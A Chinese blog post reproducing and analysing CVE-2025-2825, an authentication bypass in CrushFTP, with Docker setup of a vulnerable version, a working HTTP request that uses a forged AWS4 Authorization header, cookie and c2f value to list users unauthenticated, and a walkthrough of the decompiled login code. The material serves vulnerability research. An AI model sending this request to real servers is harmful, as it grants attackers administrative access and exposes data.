当前位置: 首页 > backend >正文

网络安全之身份验证绕过漏洞

漏洞简介

CrushFTP 是一款由 CrushFTP LLC 开发的强大文件传输服务器软件,支持FTP、SFTP、HTTP、WebDAV等多种协议,为企业和个人用户提供安全文件传输服务。近期,一个被编号为CVE-2025-2825的严重安全漏洞被发现,该漏洞影响版本10.0.0到10.8.3以及11.0.0到11.3.0。这个身份验证绕过漏洞源于系统对认证标头的不当处理,允许未经授权的远程攻击者通过暴露的HTTP/HTTPS端口获取管理员权限,进而可能访问敏感数据、修改系统文件或完全控制服务器。

漏洞复现

搭建环境还是利用docker 来进行搭建比较简单方便

sudo docker pull crushftp/crushftp11:11.3.0_0
sudo docker run --privileged -p 8080:8080 -p 9090:9090 -p 8443:443 crushftp/crushftp11:11.3.0_0

构造数据包

GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=aaaa HTTP/1.1
Host: 192.168.220.129:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://192.168.220.129:8080
Referer: http://192.168.220.129:8080/WebInterface/UserManager/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CrushAuth=1111111111111_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Connection: close

成功实现未授权操作,绕过身份验证查看到用户列表

漏洞分析

尝试进入docker 容器内部查看文件进行分析,但是提示这些错误

这是因为使用了极简容器镜像,不包含 shell 或者常见命令行工具,这类镜像通常只包含运行特定应用所需的最小组件,没有shell 环境,因此无法像普通容器那样交互式使用。搜索出来多种解决办法我认为以下两种方法是比较靠谱的

  • 导出容器为tar文件 docker export 5f > container5f.tar
  • 复制容器根目录到宿主机目录下 docker cp 5f:/ ./container5f (我采用的这种方法)

CrushFTP.jar!/crushftp.server.ServerSessionHTTP#loginCheckHeaderAuth

一个标准的 S3 授权头格式是

Authorization: AWS4-HMAC-SHA256 Credential=AKIAIOSFODNN7EXAMPLE/20230101/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=fe5f80f77d5fa3beca038a248ff027d0445342fe2855ddc963176630326f1024

  • AWS4-HMAC-SHA256 - 表示使用的签名算法
  • Credential - 包含以下信息,由斜杠分隔:
    • 访问密钥 ID:AKIAIOSFODNN7EXAMPLE
    • 请求日期 (YYYYMMDD):20230101
    • AWS 区域:us-east-1
    • 服务名称:s3
    • 终止字符串:aws4request
  • SignedHeaders - 包含在签名计算中的请求头列表,用分号分隔
  • Signature - 请求的签名,是一个16进制编码的字符串

这段代码首先从授权头中提取用户标识,从 Credential 参数的等号后开始,到第一个斜杠停止,将提取出来的部分作为username ,接着判断用户名中是否包含波浪号(~),如果包含则 lookup_user_pass 设置为 false。之后调用 login_user_pass 继续处理。

CrushFTP.jar!/crushftp.handlers.SessionCrush#login_user_pass(boolean, boolean, String, String)

整个代码实在是太长,所以精简,只显示出关键部分。我们知道从 loginCheckHeaderAuth 传过来时

this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)

  • lookupuserpass == anyPass == true
  • false == doAfterLogin == false
  • username == username == username
  • lookupuserpass ? "" : userpass == userpass ==""
function login_user_pass(anyPass, doAfterLogin, user_name, user_pass):// 初始化变量boolean verified = falseboolean otp_valid = false// 准备验证密码String verify_password = user_pass// 验证用户凭据verified = verify_user(user_name, verify_password, anyPass, doAfterLogin)// 处理OTP验证逻辑(部分省略)if (verified && this.user != null && this.user.getProperty("otp_auth").equals("true")):// OTP验证逻辑...// 如果验证成功,设置otp_valid = true// 最终登录判断if (verified && (this.user == null || !this.user.getProperty("otp_auth").equals("true")) || verified && otp_valid):// 用户登录成功this.uiPUT("user_logged_in", "true")return trueelse:// 登录失败return false

关键处理部分是 verified = verify_user(user_name, verify_password, anyPass, doAfterLogin) 将传入的参数进行处理,其结果对判断用户是否登录起了至关重要的作用。

跟进verify_user 处理部分

CrushFTP.jar!/crushftp.handlers.SessionCrush#verify_user(String, String, boolean, boolean)

‘CrushFTP.jar!/crushftp.handlers.SessionCrush#verify_user 只是一个中间处理:检查系统是否允许登录、处理特殊格式的用户名、检查密码是否有特殊标记等等,最终调用UserTools.ut.verify_user执行实际的验证工作

this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser, thePass, this.uiSG("listen_ip_port"), this, this.uiIG("user_number"), this.uiSG("user_ip"), this.uiIG("user_port"), this.server_item, loginReason, anyPass);

通过UserTools#verify_user 来对用户进行最终的判断

crushftp.handlers.UserTools#verify_user(crushftp.server.ServerStatus, String, String, String, crushftp.handlers.SessionCrush, int, String, int, Properties, Properties, boolean)

可以看到 当最后一个参数 anyPass 为 true 时,仅仅判断用户是否存在,并没有验证密码

为防止CSRF攻击,所以需要 CrushAuth cookie 和 c2f 参数

CrushFTP.jar!/crushftp.server.ServerSessionHTTP#createCookieSession

CrushFTP.jar!/crushftp.handlers.Common#makeBoundarySimple(int)

CrushAuth cookie 是按照指定格式创建的,前13个字符为时间戳 (new Date()).getTime()) 拼接下划线(_) 拼接30个字符的随机字符串(Common.makeBoundary(30))

CrushFTP.jar!/crushftp.server.ServerSessionHTTP#parsePostArguments

if (ServerStatus.BG("csrf") && ("," + ServerStatus.SG("whitelist_web_commands") + ",").indexOf("," + globalItems.getProperty("command") + ",") < 0 && this.thisSession.user_info.getProperty("authorization_header", "false").equals("false") && !globalItems.getProperty("c2f", "").equals(data_item.substring(data_item.length() - 4)) && !globalItems.getProperty("c2f", "").equals(ServerStatus.thisObj.common_code.decode_pass(this.thisSession.user.getProperty("password")))) {this.thisSession.uiVG("failed_commands").addElement("" + (new Date()).getTime());if (lastUploadName != null && activeUpload != null) {activeUpload.put(lastUploadName, LOC.G("ERROR") + ": FAILURE:Access Denied. (c2f)");}throw new Exception("FAILURE:Access Denied. (c2f)");}

只有当 c2f 参数既不匹配 cookie 末尾4个字符,也不匹配解码后的用户密码时,会抛出异常

漏洞修复

修改了登录校验的方式

http://www.xdnf.cn/news/7967.html

相关文章:

  • 【AI+开发】什么是LLM、MCP和Agent?
  • 容器网络中的 veth pair 技术详解
  • 求无符号字符型数据乘积的高一半
  • 隧道自动化监测解决方案
  • 【攻防实战】MacOS系统上线Cobalt Strike
  • 高并发内存池|六、page cache的设计
  • 13、自动配置【源码分析】-自动包规则原理
  • Springboot2
  • Qt enabled + geometry 属性(2)
  • 微信小游戏流量主广告自动化浏览功能案例5
  • 【IP101】图像质量评价体系:从主观评价到客观度量的完整解析
  • RL电路的响应
  • Spring AI 1.0 GA 于 2025 年 5 月 20 日正式发布,都有哪些特性?
  • 防火墙高可靠性
  • AI预测3D新模型百十个定位预测+胆码预测+去和尾2025年5月21日第84弹
  • nlohmann json:检查类型并取出数据
  • 【八股战神篇】Spring高频面试题汇总
  • 企业数字化转型是否已由信息化+自动化向智能化迈进?
  • YCKC【二分答案专题】题解
  • 关于C++使用位运算交换变量值的分析
  • Vue学习记录
  • docker面试题(5)
  • LeetCode 1004. 最大连续1的个数 III
  • PH热榜 | 2025-05-21
  • 影刀Fun叉鸟-打刀刀
  • PyTorch的基本操作
  • 5月21日星期三今日早报简报微语报早读
  • 架构的设计
  • WebGL2混合与雾
  • tshark的使用技巧(wireshark的命令行,类似tcpdump):转换格式,设置filter